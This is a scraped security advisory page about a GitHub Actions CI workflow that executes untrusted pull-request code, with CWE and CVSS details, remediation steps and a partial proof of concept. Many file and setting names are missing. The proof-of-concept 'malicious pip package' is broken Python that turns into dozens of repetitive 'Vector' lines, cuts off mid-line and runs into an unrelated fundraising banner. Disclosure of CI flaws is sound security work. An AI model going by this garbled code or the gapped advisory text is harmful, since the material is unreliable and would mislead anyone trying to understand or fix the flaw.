CI/CD Injection Vulnerability in GitHub Actions allowing RCE via Untrusted PRs

Vulnerability Overview Vulnerability Name: CI workflow runs pull-request-supplied code from untrusted contributors via , pre-commit configs, and Vulnerability Description: The CI workflow ( ) executes code provided by pull requests when triggered by a event, prior to maintainer review. Three editable files ( , , ) are utilized to execute malicious code. Impact Scope Affected Versions: - Affected commit: - Fixed commit: Severity: - CVSS v3 base metrics: 6.5 / 10 (Medium) - CWE-829 (Inclusion of Functionality from Untrusted Control Sphere) - CWE-94 (Improper Control of Generation of Code) - CWE-918 (Server-Side Request Forgery (SSRF)) Remediation Remediation Measures: - Run a job to validate inputs before , unless one of the following conditions is met: - The pull request author has , , or permissions on the repository. - The pull request is from Dependabot. - A maintainer has applied the label. - Otherwise, pull requests are restricted to modifying only the contributor directories ( , , , , ). - Changes are verified using , independent of YAML formatting. - A least-privilege token ( ) is used, and CODEOWNERS now requires maintainer review for CI control files. Proof of Concept (PoC) Phase 1: Build malicious pip package ```python import os, sys print("=" 50) print("[+] POC RCE via pip install -> Vector A CONFIRMED!") print("=" 50) lines = [] lines.append("[POC ABD - RCE CONFIRMED via pip install]") lines.append("[POD] ({}).format(os.getpid())) lines.append("[Vector B] ({}).format(os.getpid())) lines.append("[Vector C] ({}).format(os.getpid())) lines.append("[Vector D] ({}).format(os.getpid())) lines.append("[Vector E] ({}).format(os.getpid())) lines.append("[Vector F] ({}).format(os.getpid())) lines.append("[Vector G] ({}).format(os.getpid())) lines.append("[Vector H] ({}).format(os.getpid())) lines.append("[Vector I] ({}).format(os.getpid())) lines.append("[Vector J] ({}).format(os.getpid())) lines.append("[Vector K] ({}).format(os.getpid())) lines.append("[Vector L] ({}).format(os.getpid())) lines.append("[Vector M] ({}).format(os.getpid())) lines.append("[Vector N] ({}).format(os.getpid())) lines.append("[Vector O] ({}).format(os.getpid())) lines.append("[Vector P] ({}).format(os.getpid())) lines.append("[Vector Q] ({}).format(os.getpid())) lines.append("[Vector R] ({}).format(os.getpid())) lines.append("[Vector S] ({}).format(os.getpid())) lines.append("[Vector T] ({}).format(os.getpid())) lines.append("[Vector U] ({}).format(os.getpid())) lines.append("[Vector V] ({}).format(os.getpid())) lines.append("[Vector W] ({}).format(os.getpid())) lines.append("[Vector X] ({}).format(os.getpid())) lines.append("[Vector Y] ({}).format(os.getpid())) lines.append("[Vector Z] ({}).format(os.getpid())) lines.append("[Vector AA] ({}).format(os.getpid())) lines.append("[Vector AB] ({}).format(os.getpid())) lines.append("[Vector AC] ({}).format(os.getpid())) lines.append("[Vector AD] ({}).format(os.getpid())) lines.append("[Vector AE] ({}).format(os.getpid())) lines.append("[Vector AF] ({}).format(os.getpid())) lines.append("[Vector AG] ({}).format(os.getpid())) lines.append("[Vector AH] ({}).format(os.getpid())) lines.append("[Vector AI] ({}).format(os.getpid())) lines.append("[Vector AJ] ({}).format(os.getpid())) lines.append("[Vector AK] ({}).format(os.getpid())) lines.append("[Vector AL] ({}).format(os.getpid())) lines.append("[Vector AM] ({}).format(os.getpid())) lines.append("[Vector AN] ({}).format(os.getpid())) lines.append("[Vector AO] ({}).format(os.getpid())) lines.append("[Vector AP] ({}).format(os.getpid())) lines.append("[Vector AQ] ({}).format(os.getpid())) lines.append("[Vector AR] ({}).format(os.getpid())) lines.append("[Vector AS] ({}).format(os.getpid())) lines.append("[Vector AT] ({}).format(os.getpid())) lines.append("[Vector AU] ({}).format(os.getpid())) lines.append("[Vector AV] ({}).format(os.getpid())) lines.append("[Vector AW] ({}).format(os.getpid())) lines.append("[Vector AX] ({}).format(os.getpid())) lines.append("[Vector AY] ({}).format(os.getpid())) lines.append("[Vector AZ] ({}).format(os.getpid())) lines.append("[Vector BA] ({}).format(os.getpid())) lines.append("[Vector BB] ({}).format(os.getpid())) lines.append("[Vector BC] ({}).format(os.getpid())) lines.append("[Vector BD] ({}).format(os.getpid())) lines.append("[Vector BE] ({}).format(os.getpid())) lines.append("[Vector BF] ({}).format(os.getpid())) lines.append("[Vector BG] ({}).format(os.getpid())) lines.append("[Vector BH] ({}).format(os.getpid())) lines.append("[Vector BI] ({}).format(os.getpid())) lines.append("[Vector BJ] ({}).format(os.getpid())) lines.append("[Vector BK] ({}).format(os.getpid())) lines.append("[Vector BL] ({}).format(os.getpid())) lines.append("[Vector BM] ({}).format(os.getpid())) lines.append("[Vector BN] ({}).format(os.getpid())) lines.append("[Vector BO] ({}).format(os.getpid())) lines.append("[Vector BP] ({}).format(os.getpid())) lines.append("[Vector BQ] ({}).format(os.getpid())) lines.append("[Vector B

Goal Reached Thanks to every supporter — we hit 100%!

CI/CD Injection Vulnerability in GitHub Actions allowing RCE via Untrusted PRs

More from this source